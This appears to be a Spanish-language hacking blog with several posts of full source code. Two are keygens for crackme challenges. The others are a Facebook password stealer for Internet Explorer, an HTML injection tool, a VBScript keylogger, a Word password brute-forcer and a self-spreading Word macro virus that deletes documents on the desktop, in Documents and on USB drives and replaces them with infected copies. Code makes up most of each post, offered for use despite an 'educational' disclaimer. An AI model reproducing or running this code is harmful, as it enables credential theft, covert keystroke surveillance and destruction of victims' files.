sábado, 3 de febrero de 2018

Codigo Del Keygen Del Crackme1 De AbelJM Por Flamer

Bueno este es el código del keygen para el crackme1 de abel, en mi opinión es un crackme divertido ya que es muy sencillo y son de los que me gusta desayunarme por las mañanas para levantar el animo muy recomendable para los que recién inician en este mundo.

bueno sin mas que decir aquí una imagen del formulario




1-Agregaremos 2 TextBox el primero lo llamaremos txtnombre y el segundo txtserial

2- Agregaremos 2 RadioButton el primero llamado op1 con el valor Text igual a Manual y el segundo op2 con el valor Text igual a Automático

3- Agregamos 2 Label uno con el valor de text igual a Nombre y otro con el valor Serial

4- y por ultimo agregamos 4 Botones los nombres los dejamos por defecto, al botón 1 su valor Text sera Copiar este copiara el serial, el segundo botón su valor Text sera Refrech, el tercero su valor sera Copiar y por ultimo su valor Text sera Generar



....:::::Aquí el Código::::.....


Public Class Form1

    Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long
    Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Int32, ByVal hwndCallback As Int32) As Long

    Dim tem As String = Environ("temp") & "\musika.mp3"
    Dim tiempo As Integer = 0

    Function cancion() As Boolean
        Dim mciret As Long

        mciSendString("close all", "", 0, 0)
        mciret = mciSendString("open " & tem & " type MPEGVideo Alias MP3", "", 0, 0)
        If mciret <> 0 Then
            cancion = False
        Else
            mciExecute("Play MP3")
            Timer1.Start()
            cancion = True
        End If
    End Function
    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
        System.IO.File.WriteAllBytes(tem, My.Resources.musika)
        While Not (cancion())
        End While

    End Sub


    Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
        Randomize()
        Dim l, x As Integer
        Dim nombre As String = ""
        Dim caracter As String = ""

        If tiempo < 195 Then
            tiempo = tiempo + 1
        Else
            While Not (cancion())
            End While
            tiempo = 0
        End If
        If op2.Checked Then
            Button4.Enabled = False
            l = CInt((2 - 10) * Rnd() + 10)
            For x = 1 To CInt(l / 2)
                nombre = nombre & Chr(CInt((65 - 90) * Rnd() + 90))
                nombre = nombre & LCase(Chr(CInt((65 - 90) * Rnd() + 90)))
            Next

            txtnombre.Text = nombre
            nombre = ""
            For x = Len(txtnombre.Text) To 1 Step -1
                nombre = nombre & Mid(txtnombre.Text, x, 1)
                caracter = caracter & CStr(Asc(Mid(txtnombre.Text, x, 1)))
            Next
            txtserial.Text = nombre & "-" & caracter
        ElseIf op1.Checked Then
            Button4.Enabled = True
        End If
    End Sub


    Private Sub Form1_FormClosing(sender As Object, e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
        On Error Resume Next
        mciSendString("close MP3", "", 0, 0)
        Kill(tem)
    End Sub

    Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click
        Clipboard.SetText(txtserial.Text)
    End Sub

    Private Sub Button2_Click(sender As System.Object, e As System.EventArgs) Handles Button2.Click
        txtnombre.Text = ""
        txtserial.Text = ""
    End Sub

    Private Sub Button4_Click(sender As System.Object, e As System.EventArgs) Handles Button4.Click
        Dim nombre As String = ""
        Dim x As Integer
        Dim caracter As String = ""

        For x = Len(txtnombre.Text) To 1 Step -1
            nombre = nombre & Mid(txtnombre.Text, x, 1)
            caracter = caracter & CStr(Asc(Mid(txtnombre.Text, x, 1)))
        Next
        txtserial.Text = nombre & "-" & caracter
    End Sub

    Private Sub Button3_Click(sender As System.Object, e As System.EventArgs) Handles Button3.Click
        Clipboard.SetText(txtnombre.Text)
    End Sub
End Class



bueno haca les dejo el ejecutable y el crackme: Descargar

Saludos Flamer







miércoles, 31 de enero de 2018

[Codigo] Obtener Contraseñas De Facebook Con Un simple Programa

Hola amigos aquí les dejo el código fuente en vb.net para obtener contraseñas de facebook, ojo el programa puede tener errores y solo funciona con el navegador Internet Explorer con otros no.

Este programa captura el id del usuario y la contraseña, con el id podemos iniciar sesión, los datos son almacenados en la carpeta temporal del sistema, otra cosa este método funciona para otras paginas ya que Internet Explorer es muy vulnerable solo hay que modificar el código un poco




1- Ponemos un TextBox y lo llamamos log

2- Y también un timer y le dejamos el nombre por defecto


codigo
Imports mshtml
Public Class Form1
    
    Dim shellWins As SHDocVw.ShellWindows
    Dim web As SHDocVw.InternetExplorer
    Dim HTMLDoc As mshtml.HTMLDocument
    Dim pass, url As String
    Dim vv As Boolean = False
    Dim c As Integer = 0
    Dim tem As String = Environ("temp") & "\facebook_log.txt"
    Private Sub Form1_FormClosing(sender As Object, e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
        Dim peso As Long
        If FileIO.FileSystem.FileExists(tem) Then
            peso = FileLen(tem)
        End If
        If peso = 0 Then
            peso = 1
        End If
        FileOpen(1, tem, OpenMode.Binary)
        FileSystem.Seek(1, peso)
        FilePut(1, log.Text)
        FileClose(1)
    End Sub

    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
        shellWins = New SHDocVw.ShellWindows
        Timer1.Interval = 1
        Timer1.Start()
        'Me.Opacity = 0
    End Sub

    

    Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
        'On Error Resume Next
        Dim i As Integer
        Dim code, remplaso, original, id, titulo As String

        remplaso = "id=" & Chr(34) & "pass2" & Chr(34)
        original = "id=" & Chr(34) & "pass" & Chr(34)

        i = 0
        For Each Me.web In shellWins
            url = web.LocationURL
            If (InStr(url, "https://www.facebook.com") Or InStr(url, "https://m.facebook.com")) Then
                i += 1
            End If
        Next
        c = 1
        For Each Me.web In shellWins
            url = web.LocationURL
            If (InStr(url, "https://www.facebook.com") Or InStr(url, "https://m.facebook.com")) Then
                While web.Busy
                End While
                If c = i Then
                    HTMLDoc = web.Document
                    titulo = HTMLDoc.title
                    If InStr(titulo, "sesión") <> 0 And InStr(titulo, "Seguridad") = 0 Then
                        code = ""

                        code = HTMLDoc.body.innerHTML

                        If InStr(code, "Inicios de sesión recientes") <> 0 And InStr(code, remplaso) = 0 Then
                            HTMLDoc.body.innerHTML = Replace(code, original, remplaso, 1, 1)
                        End If


                        If HTMLDoc.getElementById("pass").value <> "" Then
                            pass = HTMLDoc.getElementById("pass").value
                        End If

                        vv = True
                    ElseIf InStr(titulo, "sesión") = 0 And titulo <> "" And vv And pass <> "" Then
                        vv = False
                        code = ""
                        code = HTMLDoc.body.innerHTML
                        i = InStr(code, "profile_pic_header_") + Len("profile_pic_header_")
                        id = ""
                        While Asc(Mid(code, i, 1)) > 47 And Asc(Mid(code, i, 1)) < 58
                            id = id & Mid(code, i, 1)
                            i += 1
                        End While
                        log.Text = log.Text & "La contraseña es: " & pass & vbCrLf
                        log.Text = log.Text & "El ProfileID es: " & id & vbCrLf
                        log.Text = log.Text & "=========================================================================" & vbCrLf
                        pass = ""
                    End If
                End If
                c += 1
            End If
        Next

    End Sub

    Private Sub Form1_Shown(sender As Object, e As System.EventArgs) Handles Me.Shown
        ' Me.Hide()
        'Me.Opacity = 100
    End Sub
End Class


bueno ese es el código aquí les dejare el ejecutable, si el antivirus lo detecta es un falso positivo

Descargar Exe


Saludos Flamer

lunes, 13 de noviembre de 2017

[Codigo] html code injection By Flamer


Hola aquí les dejo el código para editar paginas del Internet explorer, el código es muy sencillo esta hecho en vb.net, OJO con otros navegadores no funciona y tiene que estar abierto el navegador Internet explorer.

otra cosa solo les dejare el código, la versión compilada no




Agregar 3 textbox llamados txt_url, txt_remplace,txt_injection y txtcode

Agregar 2 botones llamados Button2 y Button1



...:::CODIGO:::...

Public Class Form1
    Dim shellWins As SHDocVw.ShellWindows
    Dim explorer As SHDocVw.InternetExplorer
    Dim code As String

    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
        shellWins = New SHDocVw.ShellWindows
    End Sub
    Private Sub Button2_Click(sender As System.Object, e As System.EventArgs) Handles Button2.Click

        If txt_injection.Text <> "" And txt_remplace.Text <> "" Then

            For Each Me.explorer In shellWins
                If InStr(explorer.LocationURL, txt_url.Text) Then
                    code = explorer.Document.body.innerHtml
                    code = Replace(code, txt_remplace.Text, txt_injection.Text)
                    Me.explorer.Document.body.innerHtml = code
                End If
            Next
        ElseIf txtcode.Text <> "" Then
            Me.explorer.Document.body.innerHtml = txtcode.Text
        Else
            MsgBox("Error Campos vacios", MsgBoxStyle.Information, "Error")
        End If
    End Sub
    Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click

        If txt_url.Text <> "" Then
            txt_injection.Text = ""
            txt_remplace.Text = ""

            For Each Me.explorer In shellWins
                If InStr(explorer.LocationURL, txt_url.Text) Then
                    code = explorer.Document.body.innerHtml
                    txtcode.Text = code
                End If
            Next
        Else
            MsgBox("Error No Has Ingresado Una Url")
        End If
    End Sub
End Class



Bueno Saludos Flamer y espero les halla gustado



martes, 26 de septiembre de 2017

Codigo Del Keylogger En Vbscript


Hola aquí les muestro el código fuente del keylogger en vbscript, una cosa este código esta limitado ya que no acepta números y entre muchos mas caracteres.

Esta idea me surgió ya que navegando por un foro chino o japones, observe un código en vbs que usaba la api "GetAsyncKeyState" que es la encargada de identificar las teclas presionadas del teclado y guala se me bino ala mente crear este keylogger.

otra cosa observe que no es la única api  que utilizan desde vbscript hay otras mas


option explicit
Dim ExcelApp,f,fso,log,conta,datos,shell,api,cmd,may

set fso = createobject("scripting.filesystemobject")
Set ExcelApp = CreateObject("Excel.Application") 
Set Shell = CreateObject( "WScript.Shell" )

datos = "Nombre de la maquina:" & Shell.ExpandEnvironmentStrings("%computername%") & vbcrlf
datos = datos & "Nombre de usuario:" & Shell.ExpandEnvironmentStrings("%username%") & vbcrlf
datos = datos & "Fecha:" & now & vbcrlf
datos = datos & "==================================================================================================================================================================" & vbcrlf

log = ""
conta = 0
may = 0

While true
   if conta >= 50 then
      conta = 0
      if fso.fileexists("log.txt") then
      fso.deletefile("log.txt")  
   end if
      set f = fso.createtextfile("log.txt")
   f.write(datos)
   f.write(log)
   f.close
   end if 
   conta = conta + 1
   api=0      
'===========================================================================================================================
' LETRAS MAYUSCULAS Y MINUSCULAS  
   log = log & letras(may)
'==============================================================================================================================
' OTRAS
  
   cmd = "CALL(""user32.dll"", ""GetAsyncKeyState"", ""JJ"", " & 32 & ")"
   api = ExcelApp.ExecuteExcel4Macro(cmd)
   if api<>0 then
      log = log & " "  
      api=0   
   end if   
   cmd = "CALL(""user32.dll"", ""GetAsyncKeyState"", ""JJ"", " & 8 & ")"
   api = ExcelApp.ExecuteExcel4Macro(cmd)
   if api<>0 then
      log = mid(log,1,len(log)-1)  
      api=0   
   end if    
   cmd = "CALL(""user32.dll"", ""GetAsyncKeyState"", ""JJ"", " & 13 & ")"
   api = ExcelApp.ExecuteExcel4Macro(cmd)
   if api<>0 then
      log = log & "[Enter]"  
      api=0   
   end if      
   cmd = "CALL(""user32.dll"", ""GetAsyncKeyState"", ""JJ"", " & 20 & ")"
   api = ExcelApp.ExecuteExcel4Macro(cmd)
   if api<>0 then
      if may = 0 then
            may = 1
         else
            may = 0
         end if 
      api=0    
   end if   
   
   cmd = "CALL(""user32.dll"", ""GetAsyncKeyState"", ""JJ"", " & 192 & ")"
   api = ExcelApp.ExecuteExcel4Macro(cmd)
   if api<>0 then
      if may=0 then
         log = log & "ñ"
      else
       log = log & "Ñ"
   end if   
      api=0   
   end if
   
   cmd = "CALL(""user32.dll"", ""GetAsyncKeyState"", ""JJ"", " & 190 & ")"
   api = ExcelApp.ExecuteExcel4Macro(cmd)
   if api<>0 then
      log = log & "."  
      api=0   
   end if  
   
   cmd = "CALL(""user32.dll"", ""GetAsyncKeyState"", ""JJ"", " & 188 & ")"
   api = ExcelApp.ExecuteExcel4Macro(cmd)
   if api<>0 then
      log = log & ","  
      api=0   
   end if  
   
wend

function letras(may)
 dim x,api,cmd,digi  
   for x = 65 to 90
      cmd = "CALL(""user32.dll"", ""GetAsyncKeyState"", ""JJ"", " & x & ")"
      api = ExcelApp.ExecuteExcel4Macro(cmd)
      if api<>0 then
         exit for   
      end if
   next
   
   if x < 91 then
      if may = 0 then
         digi = lcase(chr(x))
      else
         digi = chr(x)
      end if
   end if
   letras = digi
end function



Saludos flamer


miércoles, 13 de septiembre de 2017

Codigo Simple Para Averiguar Contraseñas De Word


Hola amigos aquí esta el código de mi script para averiguar contraseñas de word, aclaro el programa solo esta hecho para contraseñas numéricas, pero si lo modifican un poco lo pueden hacer para letras o símbolos


option explicit
On Error Resume Next

Dim pass,objword,x,mata,process
Set objword = CreateObject("Word.Application")

objword.Visible = False

For x = 0 To 2000
   pass = CStr(x)
   objword.Documents.Open "Ruta Del Archivo Word", , , , pass, , , , , , , False  ' Cambiar la ruta del archivo word
   If Err.Number = 0 Then
      MsgBox("La Contraseña es: " & x)
      set mata = GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery ("select * from Win32_Process")
   For each process in mata
         If process.name = "WINWORD.EXE" then
         Process.terminate
         End If
      Next
      Exit For
   Else
      Err.Number = 0
   End If
Next


Nota Importante: no loe hecho con letras y no se quien sera mas rápido si el programa Passware Kit Forensic 13.5 o el script utilizando letras


bueno espero que a alguien le sirva, saludos Flamer y aqui pueden ver el video: Ver Video



viernes, 28 de julio de 2017

Codigo Fuente Del Keygen Para El Crackme 5 De Enigmagroup



Bueno aquí les dejo el código fuente de mi keygen para el crackme 5 de EnigmaGroup


Tipo De Programa: Keygen

Hecho Por: Flamer

Reto: Crackme 5 De EnigmaGroup

Pagina Del Reto: https://www.enigmagroup.org/pages/cracking

Tutorial: Parte 1 y Parte 2

Dificultad: Media

Lenguaje: Visual Basic.Net

Descarga: https://www.mediafire.com/?c04vb4sa23fzvq4

Codigo:


Option Explicit On

Public Class Form1
    Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long
    Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Int32, ByVal hwndCallback As Int32) As Long

    Dim tem As String = Environ("temp") & "\musika.mp3"

    Private Sub Form1_FormClosing(sender As Object, e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
        On Error Resume Next
        mciSendString("close MP3", "", 0, 0)
        Kill(tem)
    End Sub


    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
        On Error Resume Next
        Dim fecha As String = Now.Date
        Dim d, c As Integer
        Dim clave As String = ""
        Dim mciret As Long


        System.IO.File.WriteAllBytes(tem, My.Resources._1)

        mciSendString("close all", "", 0, 0)
        mciret = mciSendString("open " & tem & " type MPEGVideo Alias MP3", "", 0, 0)
        If mciret <> 0 Then
            MsgBox("Error abriendo MP3")
        Else
            mciExecute("Play MP3")
        End If


        c = 1

        For x = 1 To Len(fecha)
            If Mid(fecha, x, 1) = "/" Then
                clave = clave & "0"
                c = c - 1
            Else
                d = CInt(Mid(fecha, x, 1))
                d = d * 45
                If d = 0 Then
                    clave = clave & "2D"
                Else
                    clave = clave & Hex(d)
                End If
            End If

            If c = 2 Then
                clave = clave & "-"
                c = 1
            Else
                c = c + 1
            End If
        Next
        serial.Text = Mid(clave, 1, Len(clave) - 1)


    End Sub
    Private Sub Button2_Click(sender As System.Object, e As System.EventArgs) Handles Button2.Click
        Dim cd As New OpenFileDialog
        Dim nom As String = ""
        Dim code As String = ""
        Dim r As String = "frmSerial" & Chr(0) & Chr(13) & Chr(1) & Chr(20) & Chr(0) & "Program Registration"

        With cd
            cd.Filter = "file exe|*.exe"
            cd.Title = "Selecciona el crackme 5"
            cd.ShowDialog()
            nom = cd.FileName
        End With

        If nom <> "" Then
            code = Space(34)
            FileOpen(1, nom, OpenMode.Binary)
            Seek(1, 4929)
            FileGet(1, code)
            FileClose(1)

            If code = r Then
                FileOpen(2, nom, OpenMode.Binary)
                Seek(2, 13433)
                FilePut(2, Chr(6))
                Seek(2, 13619)
                FilePut(2, Chr(6))
                FileClose(2)
                MsgBox("Crackme 5 De EnigmaGroup Crackeado, Ahora ya Acepta 6 Digitos")
            Else
                MsgBox("Error Crackme Incorrecto")
            End If
        Else
            MsgBox("No Selecciono Ningun Archivo", MsgBoxStyle.Exclamation, "Aviso De Error")
        End If
    End Sub

    Private Sub serial_Click(sender As System.Object, e As System.EventArgs) Handles serial.Click

    End Sub
End Class



Saludos Flamer y espero les halla gustado


jueves, 29 de junio de 2017

Crear un Virus De Macro Nuevo Método

Esta ves vengo con un código de macro o mejor dicho un virus de macro, con un método diferente de propagación este inventado por mi, digo por mi por que no loe visto en otro sitio.

este virus es similar a un ransomware pero este no pide dinero o rescate, solo pide que habiliten las macros para poder recuperar el archivo y poder visualizarlo.

primeramente abriremos el word y escribiremos el siguiente texto en el documento


ALERTA DE SEGURIDAD

Tu archivo a sido encriptado por por el virus Fear scary  , para desencriptarlo tienes que habilitar las macros y enseguida se mostrara


:::...CodeDocumentWord...:::

y se vera algo así


siguiente pasa sera aguardarlo con la extencion .doc





Después aremos lo siguiente daremos clic en la pestaña programador




luego daremos clic en visual basic


y se mostrara la siguiente ventana



y empezaremos a teclear el siguiente código

Option Explicit

Dim yo As String
Private Sub Document_open()
Randomize
Dim tem As String
Dim c, doc As String
Dim x As Long
Dim word, hoja As Object
Dim code() As String

yo = Me.Path & "\" & Me.Name
tem = Environ("temp") & "\" & CStr(CInt((1000 - 100 + 1) * Rnd + 100)) & ".doc"


primero declaramos la variable yo como global con el comando dim y las variables tem,c,doc,x,word,hoja,code como locales para la función open.

a la variable yo le asignaremos la ruta del documento abierto y a la variable tem le asignamos la ruta de la carpeta temporal del sistema y agregando un nombre al azar del 100 al 1000 y con la extensión doc, esto con la intención de que cree un documento en la carpeta temporal con dicho nombre 

Me.Select
code = Split(Me.Application.Selection.Text, ":::...CodeDocumentWord...:::")

después con el comando Me asemos referencia al archivo abierto y con la función Select seleccionamos su contenido.

ahora con la instrucción Me.Application.Selection.Text extraemos el contenido del documento ya que lo seleccionamos en la instrucción anterior y con el comando Split dividimos su contenido en partes usando la palabra :::...CodeDocumentWord...::: como delimitador y el contenido es almacenado en el vector code.

If UBound(code) = 1 Then
   c = Trim(code(1))
   c = Replace(c, Chr(13), "")
   If c <> "" Then
      For x = 1 To Len(c) Step 2
         doc = doc & Chr(CInt("&H" & Mid(c, x, 2)))
      Next
        
      Open tem For Binary As #1
         Put #1, , doc
      Close #1
      
      Set word = CreateObject("word.application")
      Set hoja = word.Documents.Open(tem)
      word.Visible = True
      word.ShowMe
      Me.Application.Visible = False
   End If
End If

en la siguiente linea pregunto con el comando if si el vector tiene 2 posiciones la 0 que es la que debe contener el mensaje y la 1 donde contiene el documento encriptado, si tiene posición 1 entrara al if y con el comando trim quitara los espacios en blanco y con el comando replace quito los enter que su valor ascii es el 13.

luego vuelvo a preguntar si la variable c contiene algún valor o sea el código encriptado, y si es así este pasara hacer leído en un ciclo for, para después crearlo en un archivo y guardado en la dirección que contiene la variable tem, acto seguido es pasar a visualizarlo, para eso se crea un objecto word y un objecto hoja y es abierto el archivo nuevo con la instrucción word.Documents.Open y con la instrucción word.visible = True se hace visible el documento.

y para que el usuario no siga viendo el archivo infectado lo hacemos invisible con la instrucción Me.Application.Visible = False

lo siguiente es mandar llamar la función infectar 

Call infectar

dentro de ella encontramos esto

Function infectar()
Dim desktop, Document As String
Dim fso, dis, d As Object

Set fso = CreateObject("scripting.filesystemobject")
Set dis = fso.drives


desktop = Environ("userprofile") & "\desktop"
Document = Environ("userprofile") & "\Documents"

For Each d In dis
   If d.drivetype = 1 Then
      Call Encriptar(d)
   End If
Next

Call Encriptar(desktop)
Call Encriptar(Document)


End Function

como vemos declara las variables con el comando dim y crea dos objectos uno llamado fso y otro dis
ala variable desktop se le asigna el valor de la ruta del escritorio y ala variable Document se le asigna la ruta de mis documentos.

como vemos en seguida tenemos un ciclo que recorre todos los drives o mejor dicho los discos que contiene la computadora en ese momento conectados pero con la excepción que solo buscara los discos extraìbles que vendrían siendo las usb, esto para poderlas infectar llamando la función encriptar, la cual contiene el siguiente código

Function Encriptar(ruta)
   Dim carpeta, listfiles, listfolders, f, fso As Object
   Set fso = CreateObject("scripting.filesystemobject")
      
   Set carpeta = fso.getfolder(ruta)
   Set listfolders = carpeta.subfolders
   Set listfiles = carpeta.Files
   
   For Each f In listfiles
      If Mid(f.Path, Len(f.Path) - 3, 4) = ".doc" Or Mid(f.Path, Len(f.Path) - 3, 4) = "docx" Then
         If f.Path <> yo And f.Attributes <> 34 Then
             Call leerarchivo(f.Path)
         End If
      End If
   Next

   For Each f In listfolders
    Call Encriptar(f.Path)
   Next
End Function

esta función toma la ruta que se le asigno primero y busca todos los archivos "docx" y "doc" y si estos son encontrados son enviado a otra función llamada leerarchivo, con la excepcion de que no sea el mismo documento y que no tenga como atributo el valor 34, al terminar de revisar la carpeta donde se encuentra pregunta por cada una de las sub-carpetas que contiene y si tiene alguna sub-carpeta se manda llamar ella misma y sigue asiendo lo mismo recorriendo todos los sub-directorios de una unidad y revisando si contiene los archivos mencionados anteriormente.

después tenemos la función leerarchivo

Function leerarchivo(ruta)

Dim bites As String
Dim hexa, code As String
Dim h As String
Dim x As Long

   bites = Space(FileLen(ruta))

   Open ruta For Binary As #2
      Get #2, , bites
   Close #2

      
   If InStr(1, bites, "ALERTA DE SEGURIDAD") = 0 or InStr(1, bites, "Fear scary") = 0 or InStr(1, bites, ":::...CodeDocumentWord...:::") = 0 Then

      For x = 1 To Len(bites)
         h = Hex(Asc(Mid(bites, x, 1)))
         If Len(h) = 1 Then
            h = "0" & h
         End If
         hexa = hexa & h
      Next
   
      Kill ruta
      ruta = Replace(ruta, ".docx", ".doc")
      Me.Select
      code = Me.Application.Selection.Text
      
      Me.Application.Selection.Text = "ALERTA DE SEGURIDAD" & vbCrLf & "Tu archivo a sido encriptado por por el virus Fear scary  , para desencriptarlo tienes que habilitar las macros y enseguida se mostrara" & vbCrLf & vbCrLf & ":::...CodeDocumentWord...:::" & vbCrLf & vbCrLf & hexa
      Me.SaveAs ruta
      
      Me.Application.Selection.Text = code
      Me.SaveAs yo
      
   End If

End Function

lo que hace esta funcion es leer cada archivo que se le a enviado en forma binaria con el comando open y ya que es leído pregunta si en este se encuentran las palabras "ALERTA DE SEGURIDAD", "Fear scary",":::...CodeDocumentWord...:::" y si se encuentran las 3 quiere desir que el archivo esta infectado pero si solo se encuentran 1 o 2, quiere decir que no y pasara a leer cada byte del archivo y convertirlo a su valor hexa-decimal y almacenarlo en la variable hexa, para después crear una copia del archivo infectado e ingresar los valores hexa-decimales  almacenados en hexa

Nota: yo solo convertí los bytes en a su valor hexadecimal pero pueden ser encriptados, creando una función que lo haga, yo solo lo hice así para que se entendiera un poco

aqui el codigo completo

Option Explicit

Dim yo As String
Private Sub Document_open()
Randomize
Dim tem As String
Dim c, doc As String
Dim x As Long
Dim word, hoja As Object
Dim code() As String

yo = Me.Path & "\" & Me.Name
tem = Environ("temp") & "\" & CStr(CInt((1000 - 100 + 1) * Rnd + 100)) & ".doc"

Me.Select
code = Split(Me.Application.Selection.Text, ":::...CodeDocumentWord...:::")

If UBound(code) = 1 Then
   c = Trim(code(1))
   c = Replace(c, Chr(13), "")
   If c <> "" Then
      For x = 1 To Len(c) Step 2
         doc = doc & Chr(CInt("&H" & Mid(c, x, 2)))
      Next
        
      Open tem For Binary As #1
         Put #1, , doc
      Close #1
      
      Set word = CreateObject("word.application")
      Set hoja = word.Documents.Open(tem)
      word.Visible = True
      word.ShowMe
      Me.Application.Visible = False
   End If
End If
Call infectar
 Me.SaveAs yo
 Me.Application.Quit
End Sub


Function infectar()
Dim desktop, Document As String
Dim fso, dis, d As Object

Set fso = CreateObject("scripting.filesystemobject")
Set dis = fso.drives


desktop = Environ("userprofile") & "\desktop"
Document = Environ("userprofile") & "\Documents"

For Each d In dis
   If d.drivetype = 1 Then
      Call Encriptar(d)
   End If
Next

Call Encriptar(desktop)
Call Encriptar(Document)

End Function

Function Encriptar(ruta)
   Dim carpeta, listfiles, listfolders, f, fso As Object
   Set fso = CreateObject("scripting.filesystemobject")
      
   Set carpeta = fso.getfolder(ruta)
   Set listfolders = carpeta.subfolders
   Set listfiles = carpeta.Files
   
   For Each f In listfiles
      If Mid(f.Path, Len(f.Path) - 3, 4) = ".doc" Or Mid(f.Path, Len(f.Path) - 3, 4) = "docx" Then
         If f.Path <> yo And f.Attributes <> 34 Then
             Call leerarchivo(f.Path)
         End If
      End If
   Next

   For Each f In listfolders
    Call Encriptar(f.Path)
   Next
End Function



Function leerarchivo(ruta)

Dim bites As String
Dim hexa, code As String
Dim h As String
Dim x As Long

bites = Space(FileLen(ruta))

   Open ruta For Binary As #2
      Get #2, , bites
   Close #2
     
   If InStr(1, bites, "ALERTA DE SEGURIDAD") = 0 or InStr(1, bites, "Fear scary") = 0 or InStr(1, bites, ":::...CodeDocumentWord...:::") = 0 Then

      For x = 1 To Len(bites)
         h = Hex(Asc(Mid(bites, x, 1)))
         If Len(h) = 1 Then
            h = "0" & h
         End If
         hexa = hexa & h
      Next
   
      Kill ruta
      ruta = Replace(ruta, ".docx", ".doc")
      Me.Select
      code = Me.Application.Selection.Text
      
      Me.Application.Selection.Text = "ALERTA DE SEGURIDAD" & vbCrLf & "Tu archivo a sido encriptado por por el virus Fear scary  , para desencriptarlo tienes que habilitar las macros y enseguida se mostrara" & vbCrLf & vbCrLf & ":::...CodeDocumentWord...:::" & vbCrLf & vbCrLf & hexa
      Me.SaveAs ruta
      
      Me.Application.Selection.Text = code
      Me.SaveAs yo
      
   End If
End Function


si quieren dificultarle la vida al que quiera he charle un vistazo a su macro pueden ponerle clave, dando clic en herramientas y luego en



y en la siguiente ventana dan clic en protección y palomean la siguiente opción e ingresan la clave



bueno creo que eso es todo por hoy y espero le sirva a alguien y recuerden que lo expuesto aquí son con fines educativos y lo hago para que vean que hay métodos de infección que no sean visto, yo no lo e visto en otra parte


Saludos Flamer